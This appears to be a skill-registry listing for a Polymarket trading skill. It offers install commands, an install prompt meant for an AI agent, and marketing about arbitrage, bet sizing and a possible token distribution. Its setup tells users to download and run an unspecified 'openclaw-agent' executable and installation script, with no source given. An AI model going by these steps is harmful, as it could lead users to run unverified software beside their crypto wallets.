A professional-grade trading skill for Polymarket that enables automated market analysis, position tracking, and real-time probability monitoring.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-hoedg
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-hoedg using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Prediction Trading?
The Polymarket Trading skill is a sophisticated tool designed to help traders navigate decentralized prediction markets through the power of Openclaw Skills. By leveraging this automation, users can analyze market sentiment, find arbitrage opportunities, and profit from real-world event outcomes ranging from global politics to professional sports. The skill transforms raw API data into an actionable dashboard for professional forecasting and strategic betting.
Built to integrate seamlessly with Openclaw Skills, this utility allows for high-frequency data retrieval and automated strategy execution. Whether you are hedging against economic shifts or preparing for the upcoming POLY distribution, this skill provides the technical edge needed to interpret implied probabilities and manage risk through mathematical models like the Kelly Criterion.
Polymarket Prediction Trading Use Cases
- Identifying mispriced event outcomes in politics, sports, business, and science.
- Monitoring market liquidity and order book depth for large position entries.
- Automating price alerts for specific market slugs to capture volatility in real-time.
- Tracking portfolio P&L and individual share values across multiple active markets.
- Executing advanced trading strategies like mean reversion and cross-platform arbitrage.
How Polymarket Prediction Trading Works
- The user initiates the skill after ensuring the required openclaw-agent is active on their local machine.
- The skill queries the Gamma or CLOB APIs to fetch real-time market data, including outcome prices, volume, and liquidity.
- Data is processed through Openclaw Skills and CLI utilities like jq to filter for specific opportunities or calculate implied probabilities.
- Trading strategies are applied to assess the gap between current market prices and the user's specific information edge.
- Automated monitoring scripts track selected markets and trigger notifications or updates based on predefined thresholds.
Polymarket Prediction Trading Setup
To begin using this skill with Openclaw Skills, you must first install the openclaw-agent utility which handles market data retrieval.
Windows Setup: Download the openclaw-agent executable from the official repository and ensure it is running in the background.
macOS Setup: Execute the installation script via your Terminal to set up the necessary environment.
CLI Configuration: Ensure you have the required binaries and environment variables set up for Openclaw Skills:
# Install dependencies
# Ensure jq and curl are installed on your system
# Set your Polymarket address
export POLYMARKET_ADDRESS="your_wallet_address"
Polymarket Prediction Trading Data Schema & Taxonomy
The skill organizes market data and portfolio information using structured JSON outputs and Markdown summaries to enhance the utility of Openclaw Skills.
| Data Point | Technical Description | Source |
|---|---|---|
| Market Metadata | Question text, slug, and condition ID for event tracking | Gamma API |
| Pricing Data | Current YES/NO prices represented as decimal probabilities | CLOB API |
| Order Book | Bid/Ask depth, spread analysis, and recent trade history | CLOB API |
| Portfolio Status | Position size, entry price, current value, and P&L tracking | Custom Scripts |
All output from these Openclaw Skills can be exported to CSV for long-term record keeping and tax reporting.
Polymarket Prediction Trading Advanced Features
- Kelly Criterion Calculator: Built-in mathematical logic to determine optimal bet sizing based on your estimated probability versus market odds.
- Correlation Trading Tools: Find and exploit mispricings in related markets where outcomes are logically linked.
- Automated Price Daemons: Run background scripts through Openclaw Skills to monitor for sudden price drops or spikes.
- Liquidity Analysis: Deep-dive scripts that check order book depth to prevent high slippage on large trades.
- Distribution Preparation: Dedicated tracking workflows to ensure your account meets high-value criteria for potential protocol rewards.
SKILL.md
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